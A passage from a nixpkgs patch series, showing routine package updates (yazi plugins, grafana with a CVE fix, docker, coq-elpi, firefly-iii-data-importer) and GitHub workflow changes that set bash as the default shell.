diff --git a/pkgs/by-name/ya/yazi/plugins/projects/default.nix b/pkgs/by-name/ya/yazi/plugins/projects/default.nix
index 9421f0543958..3ba2308f3ce9 100644
--- a/pkgs/by-name/ya/yazi/plugins/projects/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/projects/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "projects.yazi";
-  version = "0-unstable-2025-05-29";
+  version = "0-unstable-2025-06-03";
 
   src = fetchFromGitHub {
     owner = "MasouShizuka";
     repo = "projects.yazi";
-    rev = "96af237d2255d5dab5493c020f55561f63c28777";
-    hash = "sha256-N8XH6adXPk/iU173fXEViv0NPwFZ0WYiyEJGBs4c6ec=";
+    rev = "7037dd5eee184ccb7725bdc9f7ea6faa188420d5";
+    hash = "sha256-Lc0MeiAuPgJTq4ojNw9hwxqPJ74S4ymn4uPTkxGeZGc=";
   };
 
   meta = {
diff --git a/pkgs/by-name/ya/yazi/plugins/relative-motions/default.nix b/pkgs/by-name/ya/yazi/plugins/relative-motions/default.nix
index c899450c6974..641434789824 100644
--- a/pkgs/by-name/ya/yazi/plugins/relative-motions/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/relative-motions/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "relative-motions.yazi";
-  version = "25.4.8-unstable-2025-04-16";
+  version = "25.5.28-unstable-2025-06-05";
 
   src = fetchFromGitHub {
     owner = "dedukun";
     repo = "relative-motions.yazi";
-    rev = "ce2e890227269cc15cdc71d23b35a58fae6d2c27";
-    hash = "sha256-Ijz1wYt+L+24Fb/rzHcDR8JBv84z2UxdCIPqTdzbD14=";
+    rev = "2e3b6172e6226e0db96aea12d09dea2d2e443fea";
+    hash = "sha256-v0e06ieBKNmt9DATdL7R4AyVFa9DlNBwpfME3LHozLA=";
   };
 
   meta = {
diff --git a/pkgs/by-name/ya/yazi/plugins/rich-preview/default.nix b/pkgs/by-name/ya/yazi/plugins/rich-preview/default.nix
index ef08195971de..f1738bf96d7a 100644
--- a/pkgs/by-name/ya/yazi/plugins/rich-preview/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/rich-preview/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "rich-preview.yazi";
-  version = "0-unstable-2025-05-30";
+  version = "0-unstable-2025-05-31";
 
   src = fetchFromGitHub {
     owner = "AnirudhG07";
     repo = "rich-preview.yazi";
-    rev = "de28f504f21ee78b9e4799f116df2aa177384229";
-    hash = "sha256-pJ5aMAECK0M4v/8czGP5RZygfRAyS9IdQCeP3ZP1Gcs=";
+    rev = "843c3faf0a99f5ce31d02372c868d8dae92ca29d";
+    hash = "sha256-celObHo9Y3pFCd1mTx1Lz77Tc22SJTleRblAkbH/RqY=";
   };
 
   meta = {
diff --git a/pkgs/by-name/ya/yazi/plugins/starship/default.nix b/pkgs/by-name/ya/yazi/plugins/starship/default.nix
index e8596d6ff1e2..a8515a9fac77 100644
--- a/pkgs/by-name/ya/yazi/plugins/starship/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/starship/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "starship.yazi";
-  version = "25.4.8-unstable-2025-05-30";
+  version = "25.4.8-unstable-2025-06-01";
 
   src = fetchFromGitHub {
     owner = "Rolv-Apneseth";
     repo = "starship.yazi";
-    rev = "428d43ac0846cb1885493a1f01c049a883b70155";
-    hash = "sha256-YkDkMC2SJIfpKrt93W/v5R3wOrYcat7QTbPrWqIKXG8=";
+    rev = "6a0f3f788971b155cbc7cec47f6f11aebbc148c9";
+    hash = "sha256-q1G0Y4JAuAv8+zckImzbRvozVn489qiYVGFQbdCxC98=";
   };
 
   meta = {

From f821dc97e3de49fd61ca5fbbad55fe11305c4ca1 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Sat, 7 Jun 2025 23:43:43 -0500
Subject: [PATCH 0979/4511] yaziPlugins.rsync: update from
 0-unstable-2025-04-24 to 0-unstable-2025-06-07

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 23aefe4694ef2aa0902a6c7e8407b51c6e4f1224)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/rsync/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/rsync/default.nix b/pkgs/by-name/ya/yazi/plugins/rsync/default.nix
index 33a824ca6f05..a1267a3c15bf 100644
--- a/pkgs/by-name/ya/yazi/plugins/rsync/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/rsync/default.nix
@@ -5,12 +5,12 @@
 }:
 mkYaziPlugin {
   pname = "rsync.yazi";
-  version = "0-unstable-2025-04-24";
+  version = "0-unstable-2025-06-07";
   src = fetchFromGitHub {
     owner = "GianniBYoung";
     repo = "rsync.yazi";
-    rev = "ed7b7f9de971ecd8376d7ccb7a6d0d6f979c1dcb";
-    hash = "sha256-xAhkDTNi0MjHqESKk8j60WABYvaF7NElO2W/rsL2w2Y=";
+    rev = "782481e58316f4b422f5c259f07c63b940555246";
+    hash = "sha256-ZrvaJl3nf/CGavvk1QEyOMUbfKQ/JYSmZguvbXIIw9M=";
   };
 
   meta = {

From 6aedbbb3751d5336f003daf574b9e815805a89dd Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Wed, 11 Jun 2025 12:19:04 -0500
Subject: [PATCH 0980/4511] yaziPlugins: update on 2025-06-11
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

- mount: 25.5.28-unstable-2025-05-28 → 25.5.28-unstable-2025-06-11
- ouch: 0-unstable-2025-06-01 → 0-unstable-2025-06-10
- rsync: 0-unstable-2025-06-07 → 0-unstable-2025-06-09
- yatline: 0-unstable-2025-05-31 → 0-unstable-2025-06-11

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit c302509495e73c6ce6250b9a12dc94a75aff573c)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/mount/default.nix   | 6 +++---
 pkgs/by-name/ya/yazi/plugins/ouch/default.nix    | 6 +++---
 pkgs/by-name/ya/yazi/plugins/rsync/default.nix   | 6 +++---
 pkgs/by-name/ya/yazi/plugins/yatline/default.nix | 6 +++---
 4 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/mount/default.nix b/pkgs/by-name/ya/yazi/plugins/mount/default.nix
index acbe88347eba..732ea984de01 100644
--- a/pkgs/by-name/ya/yazi/plugins/mount/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/mount/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "mount.yazi";
-  version = "25.5.28-unstable-2025-05-28";
+  version = "25.5.28-unstable-2025-06-11";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "f9b3f8876eaa74d8b76e5b8356aca7e6a81c0fb7";
-    hash = "sha256-EoIrbyC7WgRzrEtvso2Sr6HnNW91c5E+RZGqnjEi6Zo=";
+    rev = "c1d638374c76655896c06e9bc91cdb39857b7f15";
+    hash = "sha256-cj2RjeW4/9ZRCd/H4PxrIQWW9kSOxtdi72f+8o13aPI=";
   };
 
   meta = {
diff --git a/pkgs/by-name/ya/yazi/plugins/ouch/default.nix b/pkgs/by-name/ya/yazi/plugins/ouch/default.nix
index 7e1d00065fed..64bad91f0d3c 100644
--- a/pkgs/by-name/ya/yazi/plugins/ouch/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/ouch/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "ouch.yazi";
-  version = "0-unstable-2025-06-01";
+  version = "0-unstable-2025-06-10";
 
   src = fetchFromGitHub {
     owner = "ndtoan96";
     repo = "ouch.yazi";
-    rev = "10b462765f37502065555e83c68a72bb26870fe2";
-    hash = "sha256-mtXl76a54Deg4cyrD0wr++sD/5b/kCsnJ+ngM6OokTc=";
+    rev = "1ee69a56da3c4b90ec8716dd9dd6b82e7a944614";
+    hash = "sha256-4KZeDkMXlhUV0Zh+VGBtz9kFPGOWCexYVuKUSCN463o=";
   };
 
   meta = {
diff --git a/pkgs/by-name/ya/yazi/plugins/rsync/default.nix b/pkgs/by-name/ya/yazi/plugins/rsync/default.nix
index a1267a3c15bf..ff5f193623a6 100644
--- a/pkgs/by-name/ya/yazi/plugins/rsync/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/rsync/default.nix
@@ -5,12 +5,12 @@
 }:
 mkYaziPlugin {
   pname = "rsync.yazi";
-  version = "0-unstable-2025-06-07";
+  version = "0-unstable-2025-06-09";
   src = fetchFromGitHub {
     owner = "GianniBYoung";
     repo = "rsync.yazi";
-    rev = "782481e58316f4b422f5c259f07c63b940555246";
-    hash = "sha256-ZrvaJl3nf/CGavvk1QEyOMUbfKQ/JYSmZguvbXIIw9M=";
+    rev = "55631aaaa7654b86469a07bbedf62a5561caa2c9";
+    hash = "sha256-4U6tYAZboMV5YguQIBpcZtcLWwF3TYYFFUXLtVxYxwU=";
   };
 
   meta = {
diff --git a/pkgs/by-name/ya/yazi/plugins/yatline/default.nix b/pkgs/by-name/ya/yazi/plugins/yatline/default.nix
index 8df8e9e55860..f2f35c3ce7db 100644
--- a/pkgs/by-name/ya/yazi/plugins/yatline/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/yatline/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "yatline.yazi";
-  version = "0-unstable-2025-05-31";
+  version = "0-unstable-2025-06-11";
 
   src = fetchFromGitHub {
     owner = "imsi32";
     repo = "yatline.yazi";
-    rev = "4872af0da53023358154c8233ab698581de5b2b2";
-    hash = "sha256-7uk8QXAlck0/4bynPdh/m7Os2ayW1UXbELmusPqRmf4=";
+    rev = "73bce63ffb454ea108a96f316e2a8c2e16a35262";
+    hash = "sha256-pIaqnxEGKiWvtFZJm0e7GSbbIc2qaTCB+czHLcVuVzY=";
   };
 
   meta = {

From 2f4d5d6879336f6640c6d936cfdf46ca75c7efb1 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Fri, 13 Jun 2025 08:43:15 +0200
Subject: [PATCH 0981/4511] grafana: 12.0.0+security-01 -> 12.0.1+security-01

ChangeLog:
* https://github.com/grafana/grafana/releases/tag/v12.0.1%2Bsecurity-01
* https://github.com/grafana/grafana/releases/tag/v12.0.1

Fix CVE-2025-3415

(cherry picked from commit 0017049a375d3bb881715e7704ad95347d7d8442)
---
 pkgs/servers/monitoring/grafana/default.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/servers/monitoring/grafana/default.nix b/pkgs/servers/monitoring/grafana/default.nix
index 078f48f7233a..7c6bf747b309 100644
--- a/pkgs/servers/monitoring/grafana/default.nix
+++ b/pkgs/servers/monitoring/grafana/default.nix
@@ -27,21 +27,21 @@ let
   # pulling it out of the Git history every few months and checking which files
   # we need to update now is slightly annoying.
   patchGoVersion = ''
-    find . -name go.mod -not -path "./.bingo/*" -not -path "./.citools/*" -print0 | while IFS= read -r -d ''' line; do
+    find . -name go.mod -not -path "./.bingo/*" -print0 | while IFS= read -r -d ''' line; do
       substituteInPlace "$line" \
-        --replace-fail "go 1.24.2" "go 1.24.2"
+        --replace-fail "go 1.24.3" "go 1.24.2"
     done
     find . -name go.work -print0 | while IFS= read -r -d ''' line; do
       substituteInPlace "$line" \
-        --replace-fail "go 1.24.2" "go 1.24.2"
+        --replace-fail "go 1.24.3" "go 1.24.2"
     done
     substituteInPlace Makefile \
-      --replace-fail "GO_VERSION = 1.24.2" "GO_VERSION = 1.24.2"
+      --replace-fail "GO_VERSION = 1.24.3" "GO_VERSION = 1.24.2"
   '';
 in
 buildGoModule rec {
   pname = "grafana";
-  version = "12.0.0+security-01";
+  version = "12.0.1+security-01";
 
   subPackages = [
     "pkg/cmd/grafana"
@@ -53,7 +53,7 @@ buildGoModule rec {
     owner = "grafana";
     repo = "grafana";
     rev = "v${version}";
-    hash = "sha256-4i9YHhoneptF72F4zvV+KVUJiP8xfiowPJExQ9iteK4=";
+    hash = "sha256-cYEWNXuIrTrtXR3XHqizDJ17QyBYkaccIThSorWO5GA=";
   };
 
   # borrowed from: https://github.com/NixOS/nixpkgs/blob/d70d9425f49f9aba3c49e2c389fe6d42bac8c5b0/pkgs/development/tools/analysis/snyk/default.nix#L20-L22
@@ -67,14 +67,14 @@ buildGoModule rec {
   missingHashes = ./missing-hashes.json;
   offlineCache = yarn-berry_4.fetchYarnBerryDeps {
     inherit src missingHashes;
-    hash = "sha256-yLrGllct+AGG/u/E2iX2gog1d/iKNfkYu6GV6Pw6nuc=";
+    hash = "sha256-Vjr/jyXqHoM/3o49IDJ2aT1s1tMkP90H+2E+yUiviF4=";
   };
 
   disallowedRequisites = [ offlineCache ];
 
   postPatch = patchGoVersion;
 
-  vendorHash = "sha256-dpLcU4ru/wIsxwYAI1qROtYwHJ2WOJSZpIhd9/qMwZo=";
+  vendorHash = "sha256-Vlao6eNEHtl1+6vAAjDOxINuGxSwAqdi6Hc8oVniTO8=";
 
   proxyVendor = true;
 

From ce48dbc3cb2b4a3d97dfd6600cf1fd7a47c120c2 Mon Sep 17 00:00:00 2001
From: Savyasachee Jha <genghizkhan91@hawkradius.com>
Date: Tue, 10 Jun 2025 20:40:36 +0530
Subject: [PATCH 0982/4511] firefly-iii-data-importer: 1.6.1 -> 1.6.3

(cherry picked from commit 52a08368d01513a5ec601a4f08dd048db6235207)
---
 pkgs/by-name/fi/firefly-iii-data-importer/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
index 079eafc8e20d..e80858c75720 100644
--- a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
+++ b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
@@ -13,13 +13,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "firefly-iii-data-importer";
-  version = "1.6.1";
+  version = "1.6.3";
 
   src = fetchFromGitHub {
     owner = "firefly-iii";
     repo = "data-importer";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-/mQnv/81XpdiXayC4+kw0QihZSPBkz59eJCdEBodudQ=";
+    hash = "sha256-+e5UtnK/eiFnmvtKjVp3EZ8JLi+dWnJ+vgjDJKRLqH8=";
   };
 
   buildInputs = [ php84 ];
@@ -38,12 +38,12 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   composerStrictValidation = true;
   strictDeps = true;
 
-  vendorHash = "sha256-9WSq8kUoXyClAHvuMtqzlfcITgCgXdulslDAzlaJ9LU=";
+  vendorHash = "sha256-ExHT4kRyyp4c7vGqUN7hbP8pScvto/qp81oDjZGBJis=";
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src;
     name = "${finalAttrs.pname}-npm-deps";
-    hash = "sha256-6yfXh9KX0ucAB+wo/xG4gRGmDL+CPtLkcq390iVz2qU=";
+    hash = "sha256-i+Ytv8uLSrdLPC04BfZbRXRA7jmy1IX4nYW5WRZubCY=";
   };
 
   composerRepository = php84.mkComposerRepository {
@@ -66,7 +66,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   passthru = {
     phpPackage = php84;
     tests = nixosTests.firefly-iii-data-importer;
-    updateScript = nix-update-script { };
+    updateScript = nix-update-script { extraArgs = [ "--version-regex='v([0-9]+\.[0-9]+\.[0-9]+)'" ]; };
   };
 
   postInstall = ''

From 72783634908feefddf58d34a0352fe2238e9541c Mon Sep 17 00:00:00 2001
From: Lucie <135951230+lweqx@users.noreply.github.com>
Date: Mon, 12 May 2025 14:49:33 +0200
Subject: [PATCH 0983/4511] coqPackages.coq-elpi: 2.5.0 -> 2.5.2

(cherry picked from commit b8b0db70c53f5daa4ebb03e22d1f1ca256a33017)
---
 pkgs/development/coq-modules/coq-elpi/default.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/coq-modules/coq-elpi/default.nix b/pkgs/development/coq-modules/coq-elpi/default.nix
index 0f8a2a0252fb..332dc6344106 100644
--- a/pkgs/development/coq-modules/coq-elpi/default.nix
+++ b/pkgs/development/coq-modules/coq-elpi/default.nix
@@ -72,11 +72,11 @@ let
     defaultVersion = lib.switch coq.coq-version [
       {
         case = "9.0";
-        out = "2.5.0";
+        out = "2.5.2";
       }
       {
         case = "8.20";
-        out = "2.5.0";
+        out = "2.5.2";
       }
       {
         case = "8.19";
@@ -115,6 +115,7 @@ let
         out = "1.6.3_8.11";
       }
     ] null;
+    release."2.5.2".sha256 = "sha256-lLzjPrbVB3rrqox528YiheUb0u89R84Xmrgkn0oplOs=";
     release."2.5.0".sha256 = "sha256-Z5xjO83X/ZoTQlWnVupGXPH3HuJefr57Kv128I0dltg=";
     release."2.4.0".sha256 = "sha256-W2+vVGExLLux8e0nSZESSoMVvrLxhL6dmXkb+JuKiqc=";
     release."2.3.0".sha256 = "sha256-XVOI+s8Qpa7f17+Xq0y7IGPLFeJqo+cDcd3zfMuO7UU=";

From d5b363552d842b9da76dd2c189259a7f8ef8b26e Mon Sep 17 00:00:00 2001
From: Dominik Schwaiger <mail@dominik-schwaiger.ch>
Date: Fri, 6 Jun 2025 15:26:14 +0200
Subject: [PATCH 0984/4511] docker_28: 28.1.1 -> 28.2.2

(cherry picked from commit e0926f78db2cd764fe026c2b1397189743247bf4)
---
 pkgs/applications/virtualization/docker/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/virtualization/docker/default.nix b/pkgs/applications/virtualization/docker/default.nix
index 5be14107857d..fd980618de81 100644
--- a/pkgs/applications/virtualization/docker/default.nix
+++ b/pkgs/applications/virtualization/docker/default.nix
@@ -404,11 +404,11 @@ rec {
   };
 
   docker_28 = callPackage dockerGen rec {
-    version = "28.1.1";
+    version = "28.2.2";
     cliRev = "v${version}";
-    cliHash = "sha256-bRnJ+c2C4t+94NL82L0S3r84uoJaTDq16YQGvEmo7Sw=";
+    cliHash = "sha256-ZaKG4H8BqIzgs9OFktH9bjHSf9exAlh5kPCGP021BWI=";
     mobyRev = "v${version}";
-    mobyHash = "sha256-FB9btun41PAqqBjb9Ebn7SyjrIg/ILe3xJ+mqu2lqrs=";
+    mobyHash = "sha256-Y2yP2NBJLrI83iHe2EoA7/cXiQifrCkUKlwJhINKBXE=";
     runcRev = "v1.2.6";
     runcHash = "sha256-XMN+YKdQOQeOLLwvdrC6Si2iAIyyHD5RgZbrOHrQE/g=";
     containerdRev = "v1.7.27";

From 98d2a5f4c0969c6a172f6999bede30b939df89da Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 10 Jun 2025 21:59:31 +0200
Subject: [PATCH 0985/4511] workflows: use bash shell explicitly

This forces better error handling as described in [1].

Without this change, bash would *not* run with `-o pipefail`, which
means some errors go unnoticed. By naming `bash` explicitly, `-o
pipefail` is enabled.

1:
https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions#defaultsrunshell
(cherry picked from commit 0f5e504f9ee067b19149c808639b8bbd568f8252)
---
 .github/workflows/backport.yml           | 4 ++++
 .github/workflows/check-cherry-picks.yml | 4 ++++
 .github/workflows/check-format.yml       | 4 ++++
 .github/workflows/check-shell.yml        | 4 ++++
 .github/workflows/codeowners-v2.yml      | 4 ++++
 .github/workflows/edited.yml             | 4 ++++
 .github/workflows/eval-aliases.yml       | 4 ++++
 .github/workflows/eval.yml               | 4 ++++
 .github/workflows/labels.yml             | 4 ++++
 .github/workflows/lib-tests.yml          | 4 ++++
 .github/workflows/manual-nixos-v2.yml    | 4 ++++
 .github/workflows/manual-nixpkgs-v2.yml  | 4 ++++
 .github/workflows/nix-parse-v2.yml       | 4 ++++
 .github/workflows/nixpkgs-vet.yml        | 4 ++++
 .github/workflows/no-channel.yml         | 4 ++++
 .github/workflows/periodic-merge-24h.yml | 4 ++++
 .github/workflows/periodic-merge-6h.yml  | 4 ++++
 .github/workflows/periodic-merge.yml     | 4 ++++
 .github/workflows/reviewers.yml          | 4 ++++
 19 files changed, 76 insertions(+)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index 117dbc09b2ee..9cd96cd4e73f 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -18,6 +18,10 @@ permissions:
   issues: write
   pull-requests: write
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   backport:
     name: Backport Pull Request
diff --git a/.github/workflows/check-cherry-picks.yml b/.github/workflows/check-cherry-picks.yml
index 77aafd9f0ff2..618c1cf9ffed 100644
--- a/.github/workflows/check-cherry-picks.yml
+++ b/.github/workflows/check-cherry-picks.yml
@@ -17,6 +17,10 @@ concurrency:
 permissions:
   pull-requests: write
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   check:
     name: cherry-pick-check
diff --git a/.github/workflows/check-format.yml b/.github/workflows/check-format.yml
index 616d8e574592..ef1e3e1a7456 100644
--- a/.github/workflows/check-format.yml
+++ b/.github/workflows/check-format.yml
@@ -12,6 +12,10 @@ concurrency:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   nixos:
     name: fmt-check
diff --git a/.github/workflows/check-shell.yml b/.github/workflows/check-shell.yml
index 03649bfd934d..37eddde22529 100644
--- a/.github/workflows/check-shell.yml
+++ b/.github/workflows/check-shell.yml
@@ -15,6 +15,10 @@ concurrency:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   shell-check:
     strategy:
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index a857b1542263..84bbbc980633 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -35,6 +35,10 @@ concurrency:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 env:
   OWNERS_FILE: ci/OWNERS
   # Don't do anything on draft PRs
diff --git a/.github/workflows/edited.yml b/.github/workflows/edited.yml
index 5d93f5b8ce18..186bd9cb8a0c 100644
--- a/.github/workflows/edited.yml
+++ b/.github/workflows/edited.yml
@@ -22,6 +22,10 @@ concurrency:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   base:
     name: Trigger jobs
diff --git a/.github/workflows/eval-aliases.yml b/.github/workflows/eval-aliases.yml
index 451656a103ab..913341d6c814 100644
--- a/.github/workflows/eval-aliases.yml
+++ b/.github/workflows/eval-aliases.yml
@@ -12,6 +12,10 @@ concurrency:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   eval-aliases:
     name: Eval nixpkgs with aliases enabled
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index bb99c0dfbc68..711932b6a02b 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -22,6 +22,10 @@ concurrency:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   prepare:
     name: Prepare
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 5cdec70b62ce..1e485a6df89b 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -17,6 +17,10 @@ permissions:
   issues: write # needed to create *new* labels
   pull-requests: write
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   labels:
     name: label-pr
diff --git a/.github/workflows/lib-tests.yml b/.github/workflows/lib-tests.yml
index 710356d8b771..4a22a5e2dfdc 100644
--- a/.github/workflows/lib-tests.yml
+++ b/.github/workflows/lib-tests.yml
@@ -15,6 +15,10 @@ concurrency:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   nixpkgs-lib-tests:
     name: nixpkgs-lib-tests
diff --git a/.github/workflows/manual-nixos-v2.yml b/.github/workflows/manual-nixos-v2.yml
index 6d0b050fb3f8..f2728da91c93 100644
--- a/.github/workflows/manual-nixos-v2.yml
+++ b/.github/workflows/manual-nixos-v2.yml
@@ -24,6 +24,10 @@ concurrency:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   nixos:
     name: nixos-manual-build
diff --git a/.github/workflows/manual-nixpkgs-v2.yml b/.github/workflows/manual-nixpkgs-v2.yml
index 7fa628959c64..f68fae524e90 100644
--- a/.github/workflows/manual-nixpkgs-v2.yml
+++ b/.github/workflows/manual-nixpkgs-v2.yml
@@ -16,6 +16,10 @@ concurrency:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   nixpkgs:
     name: nixpkgs-manual-build
diff --git a/.github/workflows/nix-parse-v2.yml b/.github/workflows/nix-parse-v2.yml
index 201a9c8b48ca..bd920bd1e7a0 100644
--- a/.github/workflows/nix-parse-v2.yml
+++ b/.github/workflows/nix-parse-v2.yml
@@ -12,6 +12,10 @@ concurrency:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   tests:
     name: nix-files-parseable-check
diff --git a/.github/workflows/nixpkgs-vet.yml b/.github/workflows/nixpkgs-vet.yml
index e8694cc68979..df0ce2401c4c 100644
--- a/.github/workflows/nixpkgs-vet.yml
+++ b/.github/workflows/nixpkgs-vet.yml
@@ -20,6 +20,10 @@ permissions: {}
 # We don't use a concurrency group here, because the action is triggered quite often (due to the PR edit trigger), and contributors would get notified on any canceled run.
 # There is a feature request for suppressing notifications on concurrency-canceled runs: https://github.com/orgs/community/discussions/13015
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   check:
     name: nixpkgs-vet
diff --git a/.github/workflows/no-channel.yml b/.github/workflows/no-channel.yml
index 9371f9b44f13..d02d422d5d71 100644
--- a/.github/workflows/no-channel.yml
+++ b/.github/workflows/no-channel.yml
@@ -8,6 +8,10 @@ on:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   fail:
     if: |
diff --git a/.github/workflows/periodic-merge-24h.yml b/.github/workflows/periodic-merge-24h.yml
index 60b8bda1eee6..6e0de6c53a03 100644
--- a/.github/workflows/periodic-merge-24h.yml
+++ b/.github/workflows/periodic-merge-24h.yml
@@ -16,6 +16,10 @@ on:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   periodic-merge:
     if: github.repository_owner == 'NixOS'
diff --git a/.github/workflows/periodic-merge-6h.yml b/.github/workflows/periodic-merge-6h.yml
index 8ec7afa27564..e056d7634a5d 100644
--- a/.github/workflows/periodic-merge-6h.yml
+++ b/.github/workflows/periodic-merge-6h.yml
@@ -16,6 +16,10 @@ on:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   periodic-merge:
     if: github.repository_owner == 'NixOS'
diff --git a/.github/workflows/periodic-merge.yml b/.github/workflows/periodic-merge.yml
index 0f686b2f96e5..046a0d2fb4dd 100644
--- a/.github/workflows/periodic-merge.yml
+++ b/.github/workflows/periodic-merge.yml
@@ -12,6 +12,10 @@ on:
         required: true
         type: string
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   merge:
     runs-on: ubuntu-24.04-arm
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index bf205a8b3890..655471ffec60 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -22,6 +22,10 @@ concurrency:
 
 permissions: {}
 
+defaults:
+  run:
+    shell: bash
+
 jobs:
   request:
     name: Request

From c53988816216ca84d162717fea950d34801c3fc2 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 10 Jun 2025 21:22:37 +0200
Subject: [PATCH 0986/4511] workflows/reviewers: fix downloading eval results
 when undrafting

To actually download the eval results and then proceed to ping
maintainers after undrafting, the run-id must be specified explicitly.

Because we didn't run with `-o pipefail` up to the last commit, we
didn't notice that this workflow was silently failing with this error:

  jq: error: Could not open file comparison/maintainers.json: No such
file or directory

(cherry picked from commit 530f896efa9bc593b3573b54e74035be476a628d)
---
 .github/workflows/reviewers.yml | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 655471ffec60..71d0bcb27382 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -62,6 +62,7 @@ jobs:
       # In the more special case, when a PR is undrafted an eval run will have started already.
       - name: Wait for comparison to be done
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        id: eval
         with:
           script: |
             const run_id = (await github.rest.actions.listWorkflowRuns({
@@ -72,6 +73,8 @@ jobs:
               head_sha: context.payload.pull_request.head.sha
             })).data.workflow_runs[0].id
 
+            core.setOutput('run-id', run_id)
+
             // Waiting 120 * 5 sec = 10 min. max.
             // The extreme case is an Eval run that just started when the PR is undrafted.
             // Eval takes max 5-6 minutes, normally.
@@ -90,6 +93,8 @@ jobs:
       - name: Download the comparison results
         uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
         with:
+          run-id: ${{ steps.eval.outputs.run-id }}
+          github-token: ${{ github.token }}
           pattern: comparison
           path: comparison
           merge-multiple: true

From 169f6493284af5b6c70fbcf45f9ba34641cc50d1 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 10 Jun 2025 22:01:20 +0200
